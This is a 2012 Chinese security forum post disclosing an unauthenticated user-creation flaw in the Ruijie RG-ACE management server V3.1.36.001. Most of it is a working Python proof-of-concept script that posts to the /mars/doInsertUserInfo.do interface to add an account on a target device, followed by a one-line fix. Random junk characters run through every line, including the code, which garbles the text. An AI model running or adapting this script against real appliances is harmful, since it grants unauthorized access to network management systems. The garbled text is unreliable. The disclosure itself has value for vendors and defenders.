找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
, z1 G4 |/ o. z$ ^+ @1 a
5 a. s2 l' z- F% D  E
2 M9 N" {. M( m测试的具体版本是7 T# h) y5 v0 t+ o$ y2 I
产品名称: 锐捷应用控制引擎
1 c- y' C0 C% z6 Z9 q版本号: 3.1.36.001 TC
7 E5 r( \0 b8 m; _编译时间: 2011042917304 U2 V% i, C& j; s# h5 T' L7 h) d
1 l! r" I0 j- M. v; J

8 P8 @7 q: Q* m+ g; F漏洞证明:
2 `1 c- y0 w4 ^2 K2 _$ @. O* g9 \
; h5 d! ~& v4 o$ Z% a+ |/ E
8 ^& y$ C9 E6 q3 {" o6 ?  W- l) t4 j
* Y3 _4 I+ F* u7 g1 j) u6 P  T# m4 s& |! {" k9 s: E

* E) G. G/ [6 j- N9 N8 o- j5 ~0 u
# A$ F6 b) F: w- t执行脚本- O0 z4 @, V+ t! F! _) V% B
#! /usr/bin/env python& h4 e* ~9 B+ l( ~
#coding=gbk
2 h* ]- Y- Y) B+ J#RG-ACE管理服务器 V3.1.36.0016 |! v. s5 N6 q  k  d  ]. j4 Y
import urllib2, urllib,cookielib) E" Z- _$ J; b+ n
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP  \; T9 H# G' i: Y6 H
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
6 Y& u. g& X9 U: Qopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]$ V) u$ Q( b2 n5 V, }
post=(("event","userManager.doInsertUserInfo"),
/ L, |5 p5 I1 ^9 |+ H("useractionname","addButtonValue"),; N$ z" M& ?  J, m4 R
("useropermanager","userManager"),* J! \7 P: M1 v1 X% Z( C9 X
("userName","t"), #######账号自己加" C* \5 O" u# c) Y
("pwd","aaaaaa"),######密码自己加
( E, q; k1 v0 M) c("trueName","ad"),: X+ ~1 a9 N& h% D8 V; e4 {( s
("email",""),# H/ m. @6 z+ l- \. V$ M, c
("mobilePhone",""),$ U" L. ]. j/ I
("officePhone",""),
6 K. K, O* S. \; G' T* i("addr",""),2 O3 r) E1 }, ^
("submit","确定"))
$ R; I' i! z- gurllib2.install_opener(opener)
6 ?, m+ G- V) Pp=urllib2.urlopen(url, urllib.urlencode(post)).read()
$ j/ N. R1 |/ w2 ~! b# ?- Wprint "Done"& G. }% F% W! G4 g* t

! A: [/ O6 d9 ?$ G! x登录,连接设备
) ]% J( i+ y) L9 M9 L4 j5 _# i" U! s! e. t( p7 A
' |7 O! W+ W4 o1 ~0 V

! |( t+ B, z. M7 {
, j/ z- f; B7 z( t0 l1 [9 ]! A$ m2 \2 \$ O, M
默认的管理员admin权限更大点2 C+ ~6 b) z0 P* l3 k( J* t
$ H6 t8 a) D+ x' o
9 S# Y: \2 F* @. Z. i/ A

2 r  F6 Y9 k. u5 w . p9 I% T8 l* o7 |& o* K$ Z. Q
, A% I& p" [) }6 s+ \$ h" R
修复方案:
; x! I5 ?) y) c" h/ w: W* L+ m加强对接口的权限验证
  S$ n- D  O& _" T! q
6 i  I/ R/ g2 e3 T) U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表